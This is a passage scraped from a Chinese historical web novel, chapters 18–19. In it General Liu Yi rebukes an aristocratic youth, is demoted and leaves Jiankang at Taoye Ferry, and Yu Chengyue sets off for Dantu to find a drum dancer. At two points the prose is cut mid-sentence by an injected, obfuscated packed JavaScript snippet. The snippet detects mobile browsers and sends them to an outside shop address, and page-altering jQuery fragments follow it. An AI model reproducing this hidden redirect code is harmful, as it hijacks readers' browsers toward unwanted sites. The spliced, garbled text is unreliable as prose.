刘毅也来了气,这段时间他本就对京中的世家子弟积蓄了九成的不满,一看自己未来的妻弟这样当街殴打平民,未来很可能又是一个欺男霸女的纨绔蠹虫,这不满立刻涨到了十成! “胆大妄为的贱民,就活该被打!” 虞云华恨恨盯着刘毅,话里话外分明是在指斥刘毅这个胆敢越过鸿沟的人! “那我就替虞大人好好教训教训你!” 18. 桃叶渡 从舞坊出来的三人心中五味杂陈。 那位名叫玄玉的上一辈舞者,心性单纯,即使被纳为了贵人的姬妾,依然频频出入妓坊,参与乐舞的编排。那些嫉恨于她的人纷纷编排中伤,收藏她的贵人妒火中烧,将玄玉的双腿打断。玄玉万念俱灰,一心求死。 贵人后悔不已,找来最好的大夫为她医治,将那些中伤她的姬妾统统发卖,看起来也是一往情深了。 可是玄玉依然不肯进食,贵人只能将与她交好的艺伎召来府中,命她们劝说玄玉。 其中一位这样劝道,“我们这样的人,总是凭着一口气活着,要么想出人头地,成为行首,要么想有朝一日能够恢复良家子的身份,清清白白;而你,是一心想要再现前代的乐舞,如果就这样去了,那些乐舞又如何能重见天日呢?你的天赋、热情和理想难道就要这样放弃吗?” 玄玉竟然从此不再绝食,也开始配合大夫的医治。可是伤势有所好转的玄玉却不会笑了,贵人为了讨她开心,不再禁止她外出。 有一天,玄玉出去散心,再也没有回来。贵人全城搜捕也无音讯。 “她去了哪里?” “我也不知道,但我听她说过,无论如何,都会把汉代的鼓舞传下去。” …… 公主府内,乘月和昭明都有些丧气,她们反复翻看前代留下的关于汉代鼓舞的记载,试图拼凑出一个框架,可是,连玄玉这样经过长期的严苛训练且天赋出众的艺人都要经过反复打磨才能再现的舞,又怎么可能由她们二人短时间内复原呢? “阿姐!阿姐!你果然在公主姐姐这里!” 虞云华冒冒失失地闯了进来,少年的头发乱糟糟的,眼角唇边还有小块的淤青。 乘月本就有些颓丧,看到云华这个样子更是不悦,她皱着眉,“你又和人打架了?” “阿姐,你看我这像是和人打架吗?”虞云华委屈极了,“我这明明是被人打!” “谁敢殴打虞家的小公子?”昭明公主取笑道。 “公主姐姐!”虞云华更加委屈了,“是那个丹徒的刘毅!” “刘毅?他为什么要打你?”昭明公主有点意外,自古以来从没听过哪家的女婿还没成亲就先揍小舅子的。 “因为他性情暴虐!”虞云华愤愤不平,“我跟人起了争执,他不分青红皂白就觉得我错了!” 乘月隐隐约约听到些传言,说刘毅近来性情更加凶残了,看不惯京中的士族,屡屡挑衅和殴打他们,每天弹劾他的奏折多如雪花!如今,竟连云华都打了! “走!”虞乘月拉起弟弟的袖子就要往外走。 “啊?”虞云华一脸懵。 “阿姐带你去讨回公道!” 正在府中休息的刘毅一袭浅色葛衣,见到乘月的时候眼中含笑,毫无武将的煞气,反倒有些文官的清雅了。 他听闻来意,也不急于解释,只是为两人斟上清茶,缓缓道,“令弟没跟你说我为何打他?” “再怎么样都不能打人!” “乘月,你说,身为骑曹参军,却玩忽职守,丝毫不知管理的马匹情况,该不该打?” “那当然该打!” “那么,身为府兵校尉,却整日酗酒,军务废弛,该不该打?” “也该打!” “那么,一个世家子弟,只是因为心情不悦,遇到挡路的人就往死里揍,该不该打呢?” “当然该打!”虞乘月斩钉截铁地回答! 等等,莫不是? 虞乘月看向刘毅。 刘毅笑而不语。 再看向云华。 云华扭过头去,悄悄往后撤。 乘月的气势减了半截,“虞云华,你给我过来!” 虞云华被乘月揪住了耳朵,疼得啊啊直叫。 “你仗势欺人,还敢来跟我告状?!” 虞云华更不服气了,“不过就是一个低贱的庶民,对我出言不逊,打一顿又怎么了?” 刘毅面色一凛,“你吃的住的穿的,哪一样不是庶民辛苦劳作得来的!?没有庶民组成北府兵,你觉得你还有安稳日子过!?” 虞云华有些茫然了,庶民有这么重要吗? 身为士族的他和庶民们好像有着天然的隔离。虽然同在一片天空之下,但那些身着粗布麻衣的庶民们沉默而匆忙,就像是路上的蚂蚁,毫无一点亮点;他不记得这些人的长相,也不关心他们会有什么样的情感。他只知道,这些人是供自己驱使的,却从没想过,如果没有他们,这光鲜的京都以及他风雅的生活会变成什么样…… “乘月,我今日出手,属实有些僭越,只是实在不愿意看到你的弟弟,变成京都那些欺男霸女的士族子弟!” 听到士族,虞乘月心中一沉,“我听说,这段时日,你得罪了很多人…….” “哦?这些事竟也传到闺阁中了吗?”刘毅不以为意,“是不是都在说我暴虐凶残?可是,正如你所说,他们都该打。” “你是否想过,招致群怨的后果?如今你尚在建康,还可以向天子当面辩解;一旦离开建康,三人成虎,众口铄金,又该怎么办呢?” 少女仰着头,目光紧紧缠绕着眼前这位有些固执和刚硬的男子,她红色的发绳在空中飘动,也拨动了刘毅的心。 他知道她的担忧,但是,有些事情,总要有人做的。 刘毅叹了口气,语气中染上了悲戚,“乘月,你可曾见过白骨蔽野,卖儿鬻女?” “我,曾经在书上看到过。”乘月轻轻地回道。 “从书上看到和亲身经历是不一样的,乘月,那就是我曾经的世界,死亡、哭泣、哀求…….当我们这些人出生入死,百姓们辛苦劳作、食不果腹的时候,他们,那些所谓的高雅的士族,却尸位素餐,挥霍无度,甚至残害平民!这些蠹虫!长此以往,晋国的未来......” 少年虞云华听得懵懵懂懂;自幼时起,他便处于花团锦簇之中,早已对同为京都士族的那些男男女女们挥霍奢侈、不事生产的风气习以为常; 他不明白,寻常的世家作风,如何就成了国家的蠹虫?但少年的他,已经敏锐地感知到了刘毅那不似作伪的忧虑。 以前的乘月也会如云华那样懵懂,可是命运让她目睹了一个无辜的母亲是怎样痛苦地与世界诀别,又听说了身为舞伎的玄玉是怎样的不甘和遗憾! 那些公卿们的风雅背后,堆积着他们想象不到的恶……. 乘月不再劝说什么了,她知道,对于此刻的刘毅来说,劝诫意味着让他放弃身为臣子的责任,只是,“将军,你不怕吗?” 刘毅看向乘月,目光中是他自己都觉察不到的温柔——他知道此刻,这个曾经远在云端的女郎,已经因为忧愁,和他走得更近了。 他的唇角微微上扬,一扫这几日应对诸多弹劾的疲惫,“我害怕,你会因此厌恶我,而现在,我没什么好怕的了! 尚书左仆射王昌隆,在王氏诸子中并非才能出众之人,只是因为面容俊美,成为了琅琊王司马逊的女婿,至此一飞冲天,先是被王氏一族立为嗣子,又一步步爬到了尚书左仆射的位置。 他精通权术,将那些与自己政见不同的人一点点翦除,但是总有人是他没办法撼动的,其中就有尚书右仆射虞远山。 不过,最近发生的一连串的事情,给了他很好的机会。 眼前的两个人——张侍中和郗氏嗣子秘书丞郗锦安,正急切地看着自己;他知道,他们在等一个答案。 这两个人,一个是靠着裙带关系飞黄腾达,目光短浅,心性贪婪,因为张贵嫔的缘故嫉恨虞远山,听说还觊觎过虞氏一族的坞堡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285913|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “桃花叠浪”,另一个家族在北府军中的势力几乎要被留意连根拔起。利益让他们结成了最好的同盟,将矛头指向了虞远山和他的乘龙快婿。 王昌隆知道,他们是会咬人的狗,不过这又有什么关系呢?他能栓得住。 王昌隆眯着眼睛,不急不慢地抿了一口茶,“你们的事,太尉大人已有决断,无需再打扰他。” 桃叶渡,是一个种满桃树的地方,每当春季桃花盛开之时,便会有无数的粉色花瓣飘落于水面,随波荡漾。相传王献之在这里送别爱妾桃叶,并为她赋诗留念;后来人们追慕王献之,把这里变成了建康城的最富盛名的离别场。 刘毅站在渡口边的石板上,看着浩浩的长江朝着天际奔流而去,心中涌起了无限的感慨,当初自己满怀壮志而来,想要肃清队伍,为京师留下一道坚强的屏障,哪里能想到,不久后的一天,自己会以贬谪之身黯然离去呢? 当他听到诏令,撤去自己都督三州军事的职务并即刻离京之时,竟然没有什么太大的意外——在自己出手整顿那位酗酒的尉官的那一刻,就早已经料到会有这样的结果不是吗? 而且,他知道,天子已经尽力了。 “君侯,可以出发了。” 刘毅朝着建康城的方向再看了一眼,京师的北府军,他已经整顿和布局妥当,是时候该走了。可是,为什么自己还会有残留着一些类似于不舍的情感呢? “兄长!兄长请留步!” 两匹骏马从林子深处并驾而来,停在了渡口不远处。 从马上下来的是两个青年男女。那郎君二十出头的样子,身如松柏,颜如玉山;女郎也不过十六七岁,雪肤花貌,婀娜娉婷,似春夜之月,若芳树落花! 俨然是褚阳宇和乘月! 褚阳宇快步向前,“兄长!我实在没想到!朝廷竟然会下达这样的旨意!” 他的心情并不比刘毅好。上次与刘毅相见,他们把酒畅谈,言及历年来的乱象,无不感慨万千,只恨自己不能为天子扫清一切污浊!两人相见恨晚,袒露心声,一个希望为天子执殳前驱,守护在天子左右;另一个立誓为君王训练兵马,护住京师的平安,不要让苏峻之乱再次发生! 像刘毅这样一个赤胆忠心的人,怎么就被太尉大人贬斥为狼子野心了呢? 身为武将,褚阳宇不习惯倾诉太多情感,万种遗憾都凝结成了短短的几句话,“接舆髡首兮,桑扈臝行。忠不必用兮,贤不必以!” 呃,我们的建军将军刘毅哪里听得懂这个?不过,他听到了忠和贤两个,知道褚阳宇是在为自己鸣不平! “我不过是重回丹徒而已,怎么搞得像是易水送别啊!”刘毅调侃道。 “兄长你还真是,破坏气氛!”原本酝酿好的一点悲情,瞬间就消散了大半。 “这个你收好。”虞乘月也不多话,直接塞给了刘毅一个包袱。 包袱没系好,松散了一角,露出了一块漆红色的边缘。 刘毅有点好奇,干脆全部解开,里面竟是一只红色的小鼙鼓。 “这?”刘毅疑惑了。 “乘月最近天天在研究这个鼓,我也不知道她为何要送这个!” “你们懂什么!”乘月傲娇道,“这次的事,你说得不在意,背后指不定多伤心。呐,到时候啊,你就这样敲一敲。” 乘月拿起小鼓槌,在鼓面上轻轻一敲,鼙鼓发出了声响,咚,咚,咚咚,咚咚咚。 先是几个颗粒一样的单音,再是或快或拖的音长,再是连续的串音…… 节奏越来越急促,声音越来越响亮! 好像要把所有的郁结倾吐出来! “是不是畅快了许多?” “是。”刘毅微笑道,“乘月,谢谢你的礼物。我也很喜欢鼓,以前在丹徒还见过有人在鼓上跳舞!” 19. 寻伎 桃叶渡四周的茂林修竹遮住了灼灼的夏日,江面上的凉风不时地捎来远处艄公的歌声,真是一片惬意,实在是一个适合于倾吐离别之情的地方。 可我们的乘月却听不见刘毅的话语了,她的耳边只有那一句,“在鼓上跳舞!” 在鼓上跳舞! “那个跳舞的艺人,是不是有点年纪了?”乘月忽然问道。 “啊?”这次轮到刘毅懵了。 “也,也没有吧。”回答得有点结巴。 “你带我一起回丹徒吧!”乘月果断地建议道。 “啊??”刘毅又懵了。 “我有一个竞演,需要会跳鼓舞的艺人!”这真是言简意赅。 看刘毅一头雾水,褚阳宇笑着解释道,“魏国的使臣瞧不上我国的乐舞,要和我国进行一次竞演,表妹和昭明公主正在寻找会跳鼓舞的艺人。” 刘毅一愣,倒是没想到,自己的未婚妻,还有这样的一面! 只不过,他并不觉得,这是多么重要的事情,值得乘月千里迢迢随自己奔赴丹徒。 “两国竞演,由清商署去负责,你就在家安心待嫁,不要参与这些纠纷了。” “这哪里是普通的纠纷!这次竞演关系到晋国的名誉!” 刘毅揉了揉眉心,“乘月,两国相争,凭的是国力和军事。区区乐舞,取悦人的玩意,如何能左右一国的声誉?” 不不,乐舞不是卑贱的玩意!乘月的心中涌起了一股子不服气。 可她又不得不承认,从古至今,从事乐舞的人,也就是所谓的倡优,就是以歌舞愉人而生存的,是被世人所鄙夷的。 但,乐舞的美好是其他东西取代不了的,它是可以象征什么的,并不只是蛮力才能左右国家的声誉!乘月很想这样辩驳。 可是,自八王之乱以来,晋国土地连连沦丧,以至于青衣行酒,偏安江南。在军事上被蛮夷反复践踏的晋国,早已给世人留下了南人孱弱的印象。 刘毅当然看出了乘月的不服,他耐心分析道,“朝廷要求我立刻回到丹徒,这一路星夜兼程,不可能照顾好你!你又何苦受这个罪呢?而且,就这样把你带去丹徒,我怎么跟虞大人交代?” 看着远去的风帆,虞乘月从某种朦胧的情愫中清醒过来,这个名叫刘毅男子,在危急时刻解救过自己,也因此,让年轻的自己对他产生了依恋;而对于年轻的女郎来说,依恋是很容易转化为爱意的。 现在,她明白了一点,刘毅会因为某些原因,拯救一个陷入困境的弱女子,但在关键时刻,建军将军是不会因为这个女子而动摇自己的决定的。 “乘月?表妹?” “表哥。”乘月回过神来,“表哥,我是真的想去。” “乘月,兄长说的没错,现在战事随时可能发生,各镇戒严,盗匪四起,你去丹徒时有兄长的庇护,可是回来呢?他不可能放下丹徒的事务,只为护送你一人回京啊!” “可是,我们只有这个线索了。” “让兄长代为搜寻如何呢?” “他毕竟不懂乐舞,不是随便在鼓上跳几下就是汉代鼓舞的。如果那个舞者真的是玄玉前辈,经历了那些不好的往事,恐怕也很难说服她回京啊!这一遭,我真的得去!” “她不愿意回京,那就直接绑了回来!”褚阳宇虽然平日里也是有些文雅的,可长期待在禁军之中,多少浸淫了些武将粗鲁直接的习气。 “不!不行!不能这样!”乘月赶紧摆手,“这样的艺人,乐舞的天赋和热情都是世上少有的,她从京都逃出来,说明她一定是一位极为看重尊严的人,怎么能这样无礼地对待她!” 她的面色是如此的认真,看得出来,她是真的怕有人用权势去逼迫那个叫玄玉的艺人。 可是,褚阳宇却着实不理解,一个艺人而已,值得这样尊敬吗? “我一直有一个疑问,”阳宇问道,“你为什么会对乐舞这么感兴趣呢?又为什么会这这样尊敬一个艺人?玄玉再如何出色,也不过是个小小的艺伎啊!” “表哥,有时候,我会想,人们常常说的卑贱和高贵,到底是因为什么决定的呢?”乘月的眼神有些茫然。 “我听过一些佛法,那大概是前世种下的因吧。” “可我也听说过,人的出生,就像是风吹落的树叶,是很偶然的。有的人,比如你我,落在了富贵人家,有的就落到了贫困人家,遭遇着不幸。难道仅仅因为一点点偶然,我们就比他们高贵吗?难道,就因为出身,就要否定他们的品德和才华吗?” 褚阳宇沉默了,“就算你说的有道理,也不值得你冒这个风险啊!” “表哥,我好像就是想要争一口气,为了咱们晋国!也为了被人看不起的乐舞!它是那么灿烂,为什么要被世人遗忘?为什么要被随意贬低践踏?” “好,那就让我送你去丹徒吧!” 负责俗乐的清商署位于建康宫内廷,在籍的艺人们要去民间各处采集音乐歌谣,还要对音乐和歌舞进行整理和编排,旧有的乐舞已也不能失传,可想而知她们的繁忙。 在乘月忙于寻找鼓舞的同时,清商令也挑选了一批才艺出众的艺伎和最能代表南方晋国的清商乐舞,邀请昭明公主参与定夺。 年轻的艺伎们也知道这次演出,有可能会让她们名声大噪,一时间清商署里,笛声如诉,舞袖凄凄,仿若仙境...... “公主殿下今日亲自来清商署挑选乐舞,真是用心啊!” 昭明公主余光一瞥,那个让她大动肝火的魏国王子拓跋玮不知什么时候竟然来到了她的身边! 她以不易察觉的幅度轻轻拢了拢衣角,微微远离。 而从拓跋玮的角度看去,光影斑驳之下,昭明公主挺秀的鼻梁如笔锋般倔强犀利,白皙光洁的脸颊上细小的绒毛清晰可见,清新又可爱。 这位单边耳垂挂着银饰的异族王子,好像并未察觉自己不受欢迎的状况,他上前一步,“小王刚刚听到了以前从未听过的音乐,很是新奇,公主能否为小王讲解一二?” 拓跋玮嘴角含笑,但这笑容明显有些佻垯——即使身着汉人的服饰,说的也是官话雅言,他的气质却异常张扬,与那些内敛的汉人文官截然不同。 “殿下,我很忙。解说之事就由乐令大人代劳吧。”礼貌客气而疏离。 “看来公主殿下还在为竞演之事费心?哎,区区小事,小王退后一步,让贵国乐伎拔得头筹就罢了,公主又何必太在意?” 这种高高在上的口吻,听着好像胜利非他莫属,不过是因为不屑而施舍给自己似的! 哼!这个狂妄的家伙!如果是几天前,自己没准真的会被气晕,但现在,乘月已经告诉了自己丹徒鼓舞之事,到时候一定要让这些蛮族人输得心服口服! 昭明公主轻蔑地看了拓跋玮一眼,面色平淡,“两国竞演,公平公正即可。请王子殿下让一让。” 可是,拓跋玮并没有侧身让开的意思,他微微一笑,不过是一眨眼的功夫,一朵不知从何处摘下的海棠花已经簪入了昭明公主如云的鬓发。 娇艳的粉色海棠点缀在昭阳略显厚重的发髻上,让一向在人前自持端庄的公主多了些属于少女的妩媚。 “公主殿下真是人比花娇啊!”异族王子发自内心地感叹道。 “你!你放肆!”昭明气得浑身发颤,这个野蛮人竟敢如此轻薄于堂堂的晋国公主! “哈哈哈哈!如果是在我国,公主殿下就算是与小王定下百年之约了哈哈哈哈!” 昭明平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285914|198435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娴雅的面容被气得通红,而罪魁祸首拓跋玮竟然有种莫名的愉悦感。 昭明公主深吸一口气,她冷冷地扯下海棠,一把丢到了栏外,“你久居荒蛮,不懂中原的礼数,我就不与你计较了。” 这又是在骂拓跋玮是蛮夷了。 而拓跋玮却没有动怒——一朵娇艳的玫瑰花,总是刺手的。 已是日落黄昏,建康城门紧闭——按照律令,日落后是不允许车马进出建康的。 但今日,一队人马赫然在黄昏之时停驻在了建康城门前。为首之人是一位年轻郎君,他穿着浅灰色裼衣,身姿如松,面容清俊,举止温润有礼,分明是贵族出身。 这位郎君递出一块印章,“我们是受昭明公主所托,有急事出城,这是公主的信物,请将军过目!” 这是昭明公主的印章,由当今天子亲自雕刻,某种意义上,也可以代表天子的旨意。 守城的将领认真查看,确认无误后高声道,“放行!” 厚重的城门缓缓打开了,马车朝着丹徒的方向驶去。 月光透过车窗的帘幕,映照出一张莹润的脸庞,粉黛尽褪,却难掩国色,正是我们寻找鼓乐舞的乘月。 她往建康的方向看去,沉默许久。父母并不同意她以身涉险,天黑之际,她留了一封书信,便溜了出来,坐上了等候在外的车驾。她可以想到看到书信时父亲的暴怒和母亲的忧伤。 时间紧迫,骏马在车夫的鞭策下飞驰,车驾也颠簸得厉害。 褚阳宇看着脸色有些苍白的乘月,心中不免怜惜,“我的表妹,明明可以锦衣玉食,却要如此颠沛,只为了前往丹徒去寻找一位不知是否存在的艺伎!这一路也是否会平安无虞,也不知道她能否经得起长途辛苦!” 想到这里,阳宇温柔地说道,“乘月,如果你觉得难受,我们就回去吧。” “不!表哥,我们都走到这一步了,怎么能轻易回头?” 只是,这寂静的黑夜和杳无边际的旷野,让她忽然想起了那不堪的逃亡的夜晚。 “表哥,我有点害怕!” “别怕!有我在!”他挑选了最精锐的府兵一路护送,应该不会有什么闪失,“你什么都不用担心,一路看看风景,就到丹徒了。” 乘月看向窗外,初秋的郊野,月色如霜,头顶有几只失群的鸿雁飞过,徘徊着呼叫队友,声音在旷野回荡,格外凄厉,乘月忽然间就感觉到了些许的沧桑。 “夜中不能寐,起坐弹鸣琴。薄帷鉴明月,清风吹我巾。”乘月缓缓吟出一首古诗。 “这是阮籍的诗。”褚阳宇轻声回应。 “表哥,你说,那个玄玉,还活着吗?我们能找到她吗?她会帮我们复原前朝乐舞吗?” “公主殿下的御史亲自来访,她又有什么理由拒绝呢?”阳宇温柔地安慰着有些不安的乘月。 乘月默然低头,大家都认为,来自上位者的垂询是一种荣耀,没有人会拒绝;可是这位玄玉,是躲避了贵人几十年的孤傲之人啊! “好了乘月,别多想了,前面有一家驿站,我们就在此地过一夜吧。” 乘月在褚阳宇的搀扶下走下马车,凉风从丹徒的方向而来,似乎在拒绝他们的前往。 回首看去,旷野无边,一切都是那么的渺小,地平线与天际相交融,也许隐藏着未知的危险...... 此刻的自己,有表哥的陪伴和府兵的护送,尚且如此恐惧和伤怀;那位孤身出逃的玄玉呢?她又是经历了多少艰难,以怎样的勇气才逃亡到丹徒的呢? 在混乱的思绪中,乘月沉沉睡去...... “咚咚咚!” “咚咚咚咚咚!” 急促的敲门声将乘月惊醒。 “什么人?”